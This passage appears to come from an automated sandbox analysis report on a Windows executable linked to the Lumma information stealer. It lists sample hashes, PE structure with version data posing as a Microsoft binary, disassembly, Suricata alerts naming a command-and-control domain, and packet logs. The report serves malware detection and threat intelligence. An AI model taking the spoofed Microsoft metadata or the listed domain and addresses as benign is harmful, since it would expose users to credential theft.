	NatchoPremium.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	https://drvn.vip/webapp/proposal/67ec4ff641fed	Get hash	malicious	Captcha Phish	Browse	104.17.25.14
	https://drvn.vip/webapp/proposal/67ec4ff641fed	Get hash	malicious	Captcha Phish	Browse	104.22.76.183
	NatchoPremium.exe	Get hash	malicious	Unknown	Browse	162.159.134.233
	NATCHO CHEAT.exe	Get hash	malicious	Unknown	Browse	162.159.135.233
	NATCHO CHEAT.exe	Get hash	malicious	Unknown	Browse	162.159.133.233

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Launcher.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.85.126
	launch3r-v2.2.2.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.85.126
	SecuriteInfo.com.Win32.MalwareX-gen.5654.2590.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.85.126
	SecuriteInfo.com.Trojan.Heur.TP.RuW@bOo3uBfc.2836.5163.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.85.126
	SecuriteInfo.com.Win32.MalwareX-gen.30756.7481.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.85.126
	SecuriteInfo.com.Win32.MalwareX-gen.12458.14123.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.85.126
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.85.126
	Setup.exe	Get hash	malicious	HTMLPhisher, LummaC Stealer	Browse	104.21.85.126
	Setup_patched.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.85.126
	Setup.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.85.126

Dropped Files

⊘No context

Created / dropped Files

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	2464
Entropy (8bit):	3.2484645093538975
Encrypted:	false
SSDEEP:	24:QOaqdmuF3r+2+kWReHgHttUKlDENh+pyMySn6tUKlDENh+pyMySwwIPVxcwIPVxr:FaqdF7B+AAHdKoqKFxcxkFP2P
MD5:	E697877C805CABFB46209C246DBB5E94
SHA1:	D9C818F67C8CF3EA8275B29D3E4F2D07F496F9FB
SHA-256:	DFD5703DF0F6107FF92B378C003FEEFD5AE303DD299AED58EE6C6F45F08E4161
SHA-512:	F4ED9019ED2A0306EE3A1AF13C199FDC3069E1F8DDD76C4FCD00A55C92A2F1FCFB89AE38DE98D7DE81F59E15DC200A39C9C7A310B0A814B8E49E51F4F6FFD709
Malicious:	false
Reputation:	low
Preview:	..........-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.....M.p.C.m.d.R.u.n.:. .C.o.m.m.a.n.d. .L.i.n.e.:. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.\.m.p.c.m.d.r.u.n...e.x.e.". .-.w.d.e.n.a.b.l.e..... .S.t.a.r.t. .T.i.m.e.:. .. F.r.i. .. A.p.r. .. 1.1. .. 2.0.2.5. .1.9.:.4.8.:.5.0.........M.p.E.n.s.u.r.e.P.r.o.c.e.s.s.M.i.t.i.g.a.t.i.o.n.P.o.l.i.c.y.:. .h.r. .=. .0.x.1.....W.D.E.n.a.b.l.e........................................ .W.S.C. .S.t.a.t.e. .I.n.f.o. ................................................................. .A.n.t.i.V.i.r.u.s.P.r.o.d.u.c.t. ..............................d.i.s.p.l.a.y.N.a.m.e. .=. .[.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.].....p.a.t.h.T.o.S.i.g.n.e.d.P.r.o.d.u.c.t.E.x.e. .=. .[.w.i.n.d.o.w.s.d.

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.620515411278492
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	SoftWare(1).exe
File size:	1'582'080 bytes
MD5:	34eb7041ba6efd18c92455835185719a
SHA1:	61581d4c73c8395fdb6968d36e6360cf65b8ab40
SHA256:	e43dd6e0b653aed2ed73a33c71cbb03a9b56b5ae4c53a0f1e73d9d78d5569aa5
SHA512:	9aea46b5fe6735494fd3f50decdc3ab55004ebaf7acbe4ef16677bdc75be768fddba96f9c16d1e957a00bfc0e5085bc79eac51b4cb823777e39b855b1f6a1fdd
SSDEEP:	24576:rFtBhmrPJpYSHCLuc/NQXzwX6pYPq50IuyXzwX6pYPq50Iu:xfo6NfXMYPqaXMYPq
TLSH:	8C75D02A519192DAF5D544B37A89A290B023F673873D1FEF80F4E3252547EE40B3E71A
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...gA.g.........."......\|.....................@....................................G.....`........................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x14009a188
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67F94167 [Fri Apr 11 16:20:55 2025 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	a898adc0428740dd4fad8431feafaf7a

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007F7B7C7E05D0h
dec eax
add esp, 28h
jmp 00007F7B7C7E043Fh
int3
int3
dec eax
mov dword ptr [esp+18h], ebx
push ebp
dec eax
mov ebp, esp
dec eax
sub esp, 30h
dec eax
mov eax, dword ptr [000310D0h]
dec eax
mov ebx, 2DDFA232h
cdq
sub eax, dword ptr [eax]
add byte ptr [eax+3Bh], cl
ret
jne 00007F7B7C7E0636h
dec eax
and dword ptr [ebp+10h], 00000000h
dec eax
lea ecx, dword ptr [ebp+10h]
call dword ptr [0002C042h]
dec eax
mov eax, dword ptr [ebp+10h]
dec eax
mov dword ptr [ebp-10h], eax
call dword ptr [0002BFACh]
mov eax, eax
dec eax
xor dword ptr [ebp-10h], eax
call dword ptr [0002BF98h]
mov eax, eax
dec eax
lea ecx, dword ptr [ebp+18h]
dec eax
xor dword ptr [ebp-10h], eax
call dword ptr [0002C0B8h]
mov eax, dword ptr [ebp+18h]
dec eax
lea ecx, dword ptr [ebp-10h]
dec eax
shl eax, 20h
dec eax
xor eax, dword ptr [ebp+18h]
dec eax
xor eax, dword ptr [ebp-10h]
dec eax
xor eax, ecx
dec eax
mov ecx, FFFFFFFFh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc5d50	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x18c000	0x7cb	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0xd0000	0x31ec	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xdd000	0xaa0	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc16c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xbb200	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0xc6090	0x318	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xb7a2e	0xb7c00	95b7b1836694c92f6874e40f5216f1fb	False	0.514859693877551	data	7.049880263957565	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0xb9000	0x101cc	0x10200	9461490fcd9fdc1d1fb916349bae1ce3	False	0.4074309593023256	OpenPGP Secret Key Version 6	4.8837328659943715	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xca000	0x5ad8	0x2400	eeed9b9b3929e95e2f9accf23ca9bb80	False	0.1616753472222222	data	3.921203399253688	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0xd0000	0x31ec	0x3200	6cbba02ee6fcebeda3c818e974065395	False	0.50171875	data	5.792295577943378	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.B5	0xd4000	0x3229	0x3400	75cda5ec0badb9868a9b1af833ca345b	False	0.5454477163461539	data	6.940675920308152	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.gxfg	0xd8000	0x1c70	0x1e00	e1645edf2fc209056c11ba2648aac183	False	0.41692708333333334	data	4.978526138512825	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.retplne	0xda000	0x8c	0x200	8c950f651287cbc1296bcb4e8cd7e990	False	0.126953125	data	1.050583247971927
.tls	0xdb000	0x9	0x200	1f354d76203061bfdd5a53dae48d5435	False	0.033203125	data	0.020393135236084953	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0xdc000	0x1f4	0x200	4c3192380a3877e08356b066c9690811	False	0.541015625	data	4.232091808468937	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xdd000	0xaa0	0xc00	c0d3f84af9e48e1df863556f22715610	False	0.4775390625	data	5.201784219915228	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.jss	0xde000	0x56e00	0x56e00	e12d198336ff2e17dd3eeaea7324adb6	False	1.0003259892086331	data	7.999498177166648	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.jss	0x135000	0x56e00	0x56e00	e12d198336ff2e17dd3eeaea7324adb6	False	1.0003259892086331	data	7.999498177166648	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x18c000	0x7cb	0x800	f635ea042fd2036c44cd7e7f38cfd43e	False	0.4345703125	data	4.563754337342242	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x18c0a0	0x364	data	English	United States	0.4608294930875576
RT_MANIFEST	0x18c404	0x3c7	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.46328852119958636

Imports

DLL

Import

KERNEL32.dll

AcquireSRWLockExclusive, CloseHandle, CloseThreadpoolWork, CreateFileA, CreateFileW, CreateThreadpoolWork, DecodePointer, DeleteCriticalSection, EncodePointer, EnterCriticalSection, EnumSystemLocalesW, ExitProcess, FindClose, FindFirstFileExW, FindNextFileW, FlsAlloc, FlsFree, FlsGetValue, FlsSetValue, FlushFileBuffers, FreeEnvironmentStringsW, FreeLibrary, FreeLibraryWhenCallbackReturns, GetACP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetConsoleMode, GetConsoleOutputCP, GetCurrentProcess, GetCurrentProcessId, GetCurrentThreadId, GetEnvironmentStringsW, GetFileSize, GetFileSizeEx, GetFileType, GetLastError, GetLocaleInfoW, GetModuleFileNameW, GetModuleHandleA, GetModuleHandleExW, GetModuleHandleW, GetOEMCP, GetProcAddress, GetProcessHeap, GetStartupInfoW, GetStdHandle, GetStringTypeW, GetSystemTimeAsFileTime, GetUserDefaultLCID, HeapAlloc, HeapFree, HeapReAlloc, HeapSize, InitOnceBeginInitialize, InitOnceComplete, InitializeCriticalSectionAndSpinCount, InitializeCriticalSectionEx, InitializeSListHead, IsDebuggerPresent, IsProcessorFeaturePresent, IsValidCodePage, IsValidLocale, LCMapStringEx, LCMapStringW, LeaveCriticalSection, LoadLibraryExW, MultiByteToWideChar, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseException, ReadConsoleW, ReadFile, ReleaseSRWLockExclusive, RtlCaptureContext, RtlLookupFunctionEntry, RtlPcToFileHeader, RtlUnwind, RtlUnwindEx, RtlVirtualUnwind, SetFilePointerEx, SetLastError, SetStdHandle, SetUnhandledExceptionFilter, Sleep, SleepConditionVariableSRW, SubmitThreadpoolWork, TerminateProcess, TlsAlloc, TlsFree, TlsGetValue, TlsSetValue, TryAcquireSRWLockExclusive, UnhandledExceptionFilter, WakeAllConditionVariable, WideCharToMultiByte, WriteConsoleW, WriteFile

Version Infos

Description	Data
CompanyName	Microsoft Corporation
FileDescription	Microsoft HTML Help Executable
FileVersion	10.0.19041.1 (WinBuild.160101.0800)
InternalName	HH 1.41
LegalCopyright	Microsoft Corporation. All rights reserved.
OriginalFilename	HH.exe
ProductName	HTML Help
ProductVersion	10.0.19041.1
Translation	0x0409 0x04b0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-04-12T01:47:14.271352+0200	2061391	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (clarmodq .top)	1	192.168.2.8	51897	1.1.1.1	53	UDP
2025-04-12T01:47:14.735982+0200	2061392	ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)	1	192.168.2.8	49682	104.21.85.126	443	TCP
2025-04-12T01:47:14.735982+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49682	104.21.85.126	443	TCP
2025-04-12T01:47:16.176118+0200	2061392	ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)	1	192.168.2.8	49683	104.21.85.126	443	TCP
2025-04-12T01:47:16.176118+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49683	104.21.85.126	443	TCP
2025-04-12T01:47:17.317361+0200	2061392	ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)	1	192.168.2.8	49684	104.21.85.126	443	TCP
2025-04-12T01:47:17.317361+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49684	104.21.85.126	443	TCP
2025-04-12T01:47:18.332446+0200	2061392	ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)	1	192.168.2.8	49685	104.21.85.126	443	TCP
2025-04-12T01:47:18.332446+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49685	104.21.85.126	443	TCP
2025-04-12T01:47:20.264180+0200	2061392	ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)	1	192.168.2.8	49686	104.21.85.126	443	TCP
2025-04-12T01:47:20.264180+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49686	104.21.85.126	443	TCP
2025-04-12T01:47:21.124173+0200	2061392	ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)	1	192.168.2.8	49687	104.21.85.126	443	TCP
2025-04-12T01:47:21.124173+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49687	104.21.85.126	443	TCP
2025-04-12T01:47:21.938714+0200	2061392	ET MALWARE Observed Win32/Lumma Stealer Related Domain (clarmodq .top in TLS SNI)	1	192.168.2.8	49688	104.21.85.126	443	TCP
2025-04-12T01:47:21.938714+0200	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.8	49688	104.21.85.126	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 12, 2025 01:47:02.943134069 CEST	49675	443	192.168.2.8	2.23.227.215
Apr 12, 2025 01:47:02.943150997 CEST	49674	443	192.168.2.8	2.23.227.208
Apr 12, 2025 01:47:02.943221092 CEST	49676	443	192.168.2.8	2.23.227.215
Apr 12, 2025 01:47:05.849332094 CEST	49677	80	192.168.2.8	23.60.201.147
Apr 12, 2025 01:47:05.849716902 CEST	49672	443	192.168.2.8	2.19.104.63
Apr 12, 2025 01:47:12.552499056 CEST	49674	443	192.168.2.8	2.23.227.208
Apr 12, 2025 01:47:12.552580118 CEST	49675	443	192.168.2.8	2.23.227.215
Apr 12, 2025 01:47:12.561037064 CEST	49676	443	192.168.2.8	2.23.227.215
Apr 12, 2025 01:47:14.471604109 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:14.471648932 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:14.471740007 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:14.475692987 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:14.475708961 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:14.735826015 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:14.735981941 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:14.740015030 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:14.740026951 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:14.740325928 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:14.786843061 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:14.788561106 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:14.788590908 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:14.788717985 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.319900036 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.319966078 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.319999933 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.320005894 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.320039034 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.320070028 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.320074081 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.320081949 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.320122957 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.320131063 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.320425987 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.320451021 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.320458889 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.320470095 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.320524931 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.320893049 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.364919901 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.364949942 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.411815882 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.440949917 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.441046000 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.441067934 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.441097021 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.441131115 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.441183090 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.441322088 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.441374063 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.441395998 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.441414118 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.441423893 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.441484928 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.442059994 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.442111015 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.442140102 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.442147970 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.442157984 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.442210913 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.442218065 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.442231894 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.442274094 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.445797920 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.445797920 CEST	49682	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.445836067 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.445852041 CEST	443	49682	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.458867073 CEST	49672	443	192.168.2.8	2.19.104.63
Apr 12, 2025 01:47:15.458878994 CEST	49677	80	192.168.2.8	23.60.201.147
Apr 12, 2025 01:47:15.920855999 CEST	49683	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.920895100 CEST	443	49683	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:15.921021938 CEST	49683	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.921375990 CEST	49683	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:15.921389103 CEST	443	49683	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:16.175896883 CEST	443	49683	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:16.176117897 CEST	49683	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:16.177339077 CEST	49683	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:16.177355051 CEST	443	49683	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:16.177603960 CEST	443	49683	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:16.178805113 CEST	49683	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:16.178977966 CEST	49683	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:16.179003954 CEST	443	49683	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:16.783369064 CEST	443	49683	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:16.783483982 CEST	443	49683	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:16.783581018 CEST	49683	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:16.783699036 CEST	49683	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:16.783725023 CEST	443	49683	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:17.056371927 CEST	49684	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:17.056417942 CEST	443	49684	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:17.056488037 CEST	49684	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:17.056781054 CEST	49684	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:17.056797028 CEST	443	49684	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:17.317234039 CEST	443	49684	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:17.317361116 CEST	49684	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:17.318782091 CEST	49684	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:17.318794012 CEST	443	49684	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:17.319056988 CEST	443	49684	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:17.320247889 CEST	49684	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:17.320378065 CEST	49684	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:17.320416927 CEST	443	49684	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:17.320588112 CEST	49684	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:17.364284992 CEST	443	49684	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:17.952411890 CEST	443	49684	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:17.952541113 CEST	443	49684	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:17.952626944 CEST	49684	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:17.952910900 CEST	49684	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:17.952930927 CEST	443	49684	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:18.079961061 CEST	49685	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:18.080008030 CEST	443	49685	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:18.080091953 CEST	49685	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:18.080387115 CEST	49685	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:18.080398083 CEST	443	49685	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:18.332304955 CEST	443	49685	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:18.332446098 CEST	49685	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:18.333899975 CEST	49685	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:18.333909988 CEST	443	49685	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:18.334136009 CEST	443	49685	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:18.335334063 CEST	49685	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:18.335449934 CEST	49685	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:18.335473061 CEST	443	49685	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:18.335553885 CEST	49685	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:18.335561991 CEST	443	49685	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:18.966027975 CEST	443	49685	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:18.966311932 CEST	443	49685	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:18.966387033 CEST	49685	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:18.967492104 CEST	49685	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:20.005606890 CEST	49686	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:20.005709887 CEST	443	49686	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:20.005821943 CEST	49686	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:20.006175995 CEST	49686	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:20.006191969 CEST	443	49686	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:20.264039040 CEST	443	49686	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:20.264179945 CEST	49686	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:20.265414000 CEST	49686	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:20.265428066 CEST	443	49686	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:20.265676975 CEST	443	49686	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:20.266844034 CEST	49686	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:20.266944885 CEST	49686	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:20.266973972 CEST	443	49686	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:20.826101065 CEST	443	49686	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:20.826225996 CEST	443	49686	104.21.85.126	192.168.2.8
Apr 12, 2025 01:47:20.826282024 CEST	49686	443	192.168.2.8	104.21.85.126
Apr 12, 2025 01:47:20.826373100 CEST	49686	443	192.168.2.8	104.21.85.126
